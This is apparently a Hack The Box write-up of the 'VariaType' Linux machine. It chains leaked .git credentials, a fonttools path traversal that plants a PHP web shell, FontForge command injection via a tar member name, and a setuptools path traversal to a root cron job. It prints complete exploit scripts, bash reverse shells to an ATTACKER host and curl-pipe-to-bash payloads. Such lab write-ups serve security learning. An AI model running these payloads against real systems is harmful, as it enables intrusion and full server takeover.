Skip to content
Kondred0x1
Back to writeups

VariaType

VariaType
Medium
Linux

Reconnaissance

Port Scan

Nmap reveals two open ports:

  • 22/tcp - SSH
  • 80/tcp - HTTP (nginx 1.22.1)

Service Identification

Port 80 hosts - a variable font generation platform that accepts .designspace + .ttf files and builds variable fonts using the fonttools Python library.

Subdomain enumeration discovers portal.variatype.htb - an internal portal with authentication for viewing and downloading generated fonts.

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://variatype.htb -H "Host: FUZZ.variatype.htb" -fs 169

An exposed .git directory on the portal allows extracting auth.php with credentials:

git-dumper http://portal.variatype.htb/.git/ portal-git

git diff 753b5f5957f2020480a19bf29a0ebc80267a4a3d

Credentials: gitbot / G1tB0t_Acc3ss_2025!


Initial Access - CVE-2025-66034 (fonttools Arbitrary File Write)

Vulnerability Analysis

CVE-2025-66034 affects fontTools.varLib.main(). In vulnerable versions, vf.filename from the <variable-fonts> section of a designspace file is used without sanitization:

# varLib/__init__.py (version < 4.60.2)

for vf in vfs_to_build:

    filename = vf.filename  #  no basename()!

    output_path = os.path.join(output_dir, filename)

    vf.save(output_path)

This enables:

  1. Arbitrary file write - path traversal in filename writes the VF to any filesystem path
  2. Content injection - PHP injected into source font name tables survives in the generated VF

Exploitation

Step 1 - Source fonts with PHP payload

from fontTools.fontBuilder import FontBuilder

from fontTools.pens.ttGlyphPen import TTGlyphPen



for f, w in [('source-light.ttf', 100), ('source-regular.ttf', 400)]:

    fb = FontBuilder(1000, isTTF=True)

    fb.setupGlyphOrder(['.notdef'])

    fb.setupCharacterMap({})

    p = TTGlyphPen(None)

    p.moveTo((0,0)); p.lineTo((500,0)); p.lineTo((500,500)); p.lineTo((0,500)); p.closePath()

    fb.setupGlyf({'.notdef': p.glyph()})

    fb.setupHorizontalMetrics({'.notdef': (500, 0)})

    fb.setupHorizontalHeader(ascent=800, descent=-200)

    fb.setupOS2(usWeightClass=w)

    fb.setupPost()

    fb.setupNameTable({'familyName': 'Test', 'styleName': f'W{w}'})

    fb.font['name'].setName('<?php system($_GET["cmd"]); ?>', 0, 1, 0, 0)

    fb.save(f)

Step 2 - Malicious designspace

<?xml version='1.0' encoding='UTF-8'?>

<designspace format="5.0">

  <axes>

    <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>

  </axes>

  <sources>

    <source filename="source-light.ttf" name="Light">

      <location><dimension name="Weight" xvalue="100"/></location>

    </source>

    <source filename="source-regular.ttf" name="Regular">

      <location><dimension name="Weight" xvalue="400"/></location>

    </source>

  </sources>

  <variable-fonts>

    <variable-font name="X" filename="../../../../../../var/www/portal.variatype.htb/public/shell.php">

      <axis-subsets>

        <axis-subset name="Weight"/>

      </axis-subsets>

    </variable-font>

  </variable-fonts>

</designspace>

Step 3 - Upload and RCE

Upload the designspace + both TTFs via variatype.htb/tools/variable-font-generator. fonttools generates the VF (a binary font containing <?php system()?> in the name table) and writes it as shell.php to the portal's webroot.

http://portal.variatype.htb/shell.php?cmd=id



In page source we can see the result of the command.

Reverse shell:

curl "http://portal.variatype.htb/shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/ATTACKER/9001+0>%261'"

Privilege Escalation: www-data → steve (CVE-2024-25082 FontForge)

Enumeration

/opt/process_client_submissions.bak processes fonts from /var/www/portal.variatype.htb/public/files/:

It accepts .tar.gz archives among other formats. FontForge (CVE-2024-25082) does not sanitize filenames inside archives - passing them to system().

The regex ^[a-zA-Z0-9._-]+$ filters the outer filename only. Internal archive member names are not validated.

Exploitation

On Kali - serve reverse shell

#!/bin/bash

bash -c "bash -i >& /dev/tcp/ATTACKER/1337 0>&1"'
python3 -m http.server 8888

nc -lvnp 1337

From the www-data shell:

python3 -c "

import tarfile, io

evil = '\$(curl\${IFS}ATTACKER:8888/rev.sh|bash).ttf'

dummy = b'\x00\x01\x00\x00' + b'\x00' * 100

with tarfile.open('/tmp/fontpack.tar.gz', 'w:gz') as tar:

    info = tarfile.TarInfo(name=evil)

    info.size = len(dummy)

    tar.addfile(info, io.BytesIO(dummy))

"



cp /tmp/fontpack.tar.gz /var/www/portal.variatype.htb/public/files/

After ~2 minutes, cron processes the archive → FontForge calls system() with the member filename → curl | bashshell as steve.


Privilege Escalation: steve → root (CVE-2025-47273 setuptools)

Enumeration

steve@variatype:~$ sudo -l

User steve may run the following commands on variatype:

    (root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *

The script downloads a "validator plugin" from a URL using setuptools.package_index.PackageIndex().download():

index = PackageIndex()

downloaded_path = index.download(plugin_url, PLUGIN_DIR)

Setuptools 78.1.0 is vulnerable to CVE-2025-47273 - path traversal in PackageIndex.download(). The _download_url() method extracts a filename from the URL and joins it with tmpdir via os.path.join():

filename = os.path.join(tmpdir, name)

os.path.join() discards the first argument (tmpdir) when the second begins with /. URL-encoded slashes (%2f) in the URL are decoded by egg_info_for_url() → the resulting filename starts with / → the file is written to an absolute path.

Exploitation

On Kali - serve cron payload

echo '* * * * * root bash -c "bash -i >& /dev/tcp/ATTACKER/1338 0>&1"' > rootcron



python3 -c "

from http.server import HTTPServer, BaseHTTPRequestHandler

class H(BaseHTTPRequestHandler):

    def do_GET(self):

        self.send_response(200)

        self.end_headers()

        self.wfile.write(open('rootcron','rb').read())

HTTPServer(('0.0.0.0', 8888), H).serve_forever()

"



nc -lvnp 1338

As steve:

sudo /usr/bin/python3 /opt/font-tools/install_validator.py "http://ATTACKER:8888/%2fetc%2fcron.d%2fpwned"

%2f decodes to /. os.path.join("/opt/font-tools/validators", "/etc/cron.d/pwned") evaluates to /etc/cron.d/pwned. The script runs as root (via sudo) → cron file written with correct ownership and permissions.

After ~2 minute, cron fires the reverse shell → root.

root@variatype:~# id

uid=0(root) gid=0(root) groups=0(root)

root@variatype:~# cat /root/root.txt

Attack Chain

Port 80 (VariaType Labs - font generator)

  

  ├─ Subdomain portal.variatype.htb  .git dump  auth.php  creds

  

  ├─ CVE-2025-66034 (fonttools varLib arbitrary file write)

    ├─ <variable-fonts filename="../../.../shell.php"> → path traversal

  │  └─ setName() PHP payload in name table → content injection

  │     └─ shell.php in portal webroot → RCE as www-data


  ├─ CVE-2024-25082 (FontForge command injection)

  │  └─ Malicious tar.gz with $(curl|bash).ttf as member filename

  │     └─ Steve's cron processes it → FontForge system() → shell as steve


  └─ CVE-2025-47273 (setuptools PackageIndex path traversal)

     └─ sudo install_validator.py http://ATTACKER/%2fetc%2fcron.d%2fpwned

        └─ os.path.join() discards tmpdir → cron as root → root shell

Takeaways

  1. CVE-2025-66034 - vf.filename from designspace format 5.0 enables arbitrary file write. Content injection via setName() in source fonts survives VF generation. A binary font file with a .php extension is correctly parsed by PHP-FPM - <?php ?> tags embedded in binary data are executed
  2. CVE-2024-25082 - FontForge does not sanitize filenames inside archives. A regex on the outer filename does not protect against command injection in internal .tar.gz member names
  3. CVE-2025-47273 - os.path.join() discards the first argument when the second is an absolute path. URL-encoded slashes (%2f) bypass URL validation but are decoded before being used as a filesystem path
  4. sudo + file write = root - a script run via sudo with PackageIndex.download() allows writing arbitrary files as root. A cron entry in /etc/cron.d/ provides immediate privilege escalation
Hack The Box Achievement